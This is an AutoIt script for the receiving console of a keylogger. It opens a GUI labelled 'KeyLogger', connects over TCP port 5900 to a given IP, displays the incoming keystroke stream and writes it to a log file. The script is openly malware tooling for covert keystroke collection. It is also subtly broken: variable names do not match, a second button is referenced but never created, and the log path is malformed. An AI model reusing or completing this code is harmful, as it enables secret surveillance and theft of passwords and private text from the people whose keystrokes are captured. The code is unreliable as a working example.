Code:
HotKeySet("{F1}","_disconnect")
HotKeySet("{F2}",'_exit')
MsgBox(0, "Info", "To save the logs, Press F1 and for reconnect , start the client again." & @CRLF & "F2 = Exit")
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#region ### Start Koda GUI section ### Form=
$Form1 = GuiCreate("KeyLogger" , 306,347,192,124)
$ip_adresse = GuiCtrlCreateInput("127.0.0.1", 8,16,81,21)
$button1 = GUICtrlCreateButton("Connect", 96,16,65,25, $WS_GROUP)
$status = GUICtrlCreateLabel("Disconnect" , 224,16,68,17)
GUICtrlSetFont(-1,8,800,0, "Myriad Pro")
GUICtrlSetColor(-1, 0xFF0000)
$Edit1 = GUICtrlCreateEdit("", 8,48,289,257, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN))
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
Global $disconnect = 0
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
$disconnect = 0
TCPStartup()
$Connection = TCPConnect(GUICtrlRead($ip_addresse) , 5900)
If $Connection < 0 Then
MsgBox(16, "Error", "Verbindung konnte nicht aufgebaut werden")
_exit()
Else
While $disconnect = 0
GUICtrlSetData($status, "Connected")
GUICtrlSetColor($status, 0x00FF00)
$Resv = TCPRecv($Connection, 2)
GUICtrlSetData($Edit1, $Resv, 1)
if @error Then
MsgBox(16, "Error", "Verbindung unterbrochen")
_exit()
EndIf
WEnd
EndIf
Case $Button2
if NOT FileExists(@ScriptDir & "log.txt") Then
_FileCreate("log.txt")
Sleep(200)
$file = FileOpen(@ScriptDir & "log.txt")
Else
$file = FileOpen(@ScriptDir & "log.txt")
EndIf
FileWrite($file, GUICtrlRead($Edit1))
Sleep(500)
FileClose($file)
EndSwitch
WEnd
Func _disconnect()
$disconnect = 1
GUICtrlSetData($status, "Disconnected")
GUICtrlSetColor($status, 0xFF0000)
EndFunc
Func _exit()
TCPCloseSocket($Connection)
TCPShutdown()
Exit
EndFunc